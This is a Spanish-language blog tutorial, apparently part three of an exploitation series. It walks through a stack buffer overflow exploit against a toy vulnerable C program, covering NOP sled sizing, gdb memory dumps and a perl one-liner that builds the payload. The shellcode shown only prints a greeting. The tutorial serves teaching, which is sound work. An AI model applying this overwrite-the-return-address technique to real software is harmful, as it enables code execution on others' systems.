23 nov 2013

Explotación Software – Parte III – Escribiendo nuestro primer exploit

 Tras los dos primeros capítulos ya estamos listos para preparar un exploit que nos permita ejecutar código en el programa vulnerable. Si recordamos, en el primer capítulo modificabamos la ejecución del programa apuntando la dirección de retorno de una función, para ejecutar nuestro shellcode seguiremos la misma premisa aunque añadiremos una técnica adicional para mejorar la efectividad de nuestro exploit.NOP Sled o NOP SlideA la hora de escribir un exploit para un programa vulnerable debemos tener en cuenta que este programa puede ser compilado en diferentes entornos que provocarán que las direcciones de memoria no sean siempre las mismas. Para solucionar este problema se utiliza una técnica conocida como NOP sled (o slide o ramp) que consiste en enviar la ejecución del programa a una zona de memoria rellenada con instrucciones NOP.La instrucción NOP en ensamblador se encarga de no hacer nada, simplemente gasta un ciclo de CPU sin realizar ningún proceso, de ahí su utilidad.En la imagen podéis ver como sería el funcionamiento, la dirección de retorno apunta a una dirección en medio de los NOPs y la ejecución continua directamente hasta el inicio del shellcode. Para calcular cuantos NOPS nos caben restamos los bytes de nuestro shellcode al tamaño total de buffer, en nuestro caso el shellcode mide 42 bytes, por lo que debemos restarlos a los 64 bytes reservados por el buffer, dando como resultado 22bytes libres para almacenar los NOPs que se representan con 0×90 en memoria para arquitecturas x86.Siguiendo este procedimiento tenemos que nuestro payload será 64bytes (22bytes NOP + 42 bytes shellcode) + 4 bytes EBP + 4 Bytes RET por lo que solo tendremos que preparar nuestro payload y pasarselo a nuestro programa para que se ejecute nuestro código.Nota: Existen diferentes factores que modifican la tarea de preparar el exploit, por ejemplo en las versiones mas modernas de Linux aunque nosotros reservemos 64bytes del buffer esto no significa necesariamente que nuestro buffer vaya a medir 64bytes. Ademas la ejecución de nuestro programa vulnerable dentro o fuera de GDB hace que la estructura del stack varíe. No obstante que este ejemplo se entienda dejaremos a parte estos problemas y trabajaremos dentro de gdb para poder ver como nuestro exploit trabaja en la memoria.Preparando el exploitUna vez que ya tenemos nuestro shellcode, sabemos cuantos NOPs debemos utilizar solamente nos queda averiguar cual es la dirección de retorno que debemos usar para enviar la ejecución al NOP sled. Para esto ejecutaremos el programa en el debugger y rellenaremos el buffer para reconocer facilmente donde estará alojado nuestro payload:

(gdb) run
Escriba la contraseña:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, leer_pwd () at codigo.c:7
7    }
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0×41414141    0×41414141    0×41414141
0xbffff48c:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff49c:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff4ac:    0×41414141    0×41414141    0×41414141    0×41414141
0xbffff4bc:    0×41414141    0xbffff4c8    0×08048473    0xbffff548
(gdb)

Como se puede ver nuestro buffer empieza en 0xbffff480 por lo que deberemos apuntar a esa zona nuestra dirección de retorno, en mi caso he elegido 0xbffff489 que cuadra con el centro de los NOPs que pasaremos con el exploit.Ahora que ya tenemos la dirección que usaremos, prepararemos el exploit de la siguiente manera:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf"' > payload
Como veis tenemos nuestro NOP sled, seguido del shellcode y por último nuestra dirección de retorno repetida varias veces, esto es así para asegurarnos que realmente sobreescribimos EIP.Por último ya solo nos queda ejecutarlo para comprobar el funcionamiento:

//Pasamos el exploit al programa
(gdb) run < payload
Breakpoint 1, leer_pwd () at codigo.c:7
7    }
//Estado del buffer tras almacenar el payload
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0×90909090    0×90909090    0×90909090
0xbffff48c:    0×90909090    0xc0319090    0xc931db31    0x04b0d231
0xbffff49c:    0x206801b3    0x6820293b    0×63657368    0×69482068
0xbffff4ac:    0x6f486867    0xe189616c    0x80cd0fb2    0xdb3101b0
0xbffff4bc:    0xbffff489    0xbffff489    0xbffff489    0xbffff489
//Nuestra dirección de retorno ha pisado eip como se puede ver a continuación.
(gdb) info frame
Stack level 0, frame at 0xbffff4c8:
eip = 0×8048469 in leer_pwd (codigo.c:7); saved eip 0xbffff489
called by frame at 0xbffff491
//Al continuar la ejecución del programa nuestro shellcode se ejecuta mostrando “Hola Highsec ; )”
(gdb) c
Continuing.
Hola Highsec ; )
Y finalmente ya hemos ejecutado nuestro shellcode en el programa vulnerable.Espero que os haya gustado, y como siempre cualquier duda u opinión es bienvenida.
Artículo cortesía de Adrián – adrian@highsec.es – @shellshocklabs

3 comentarios: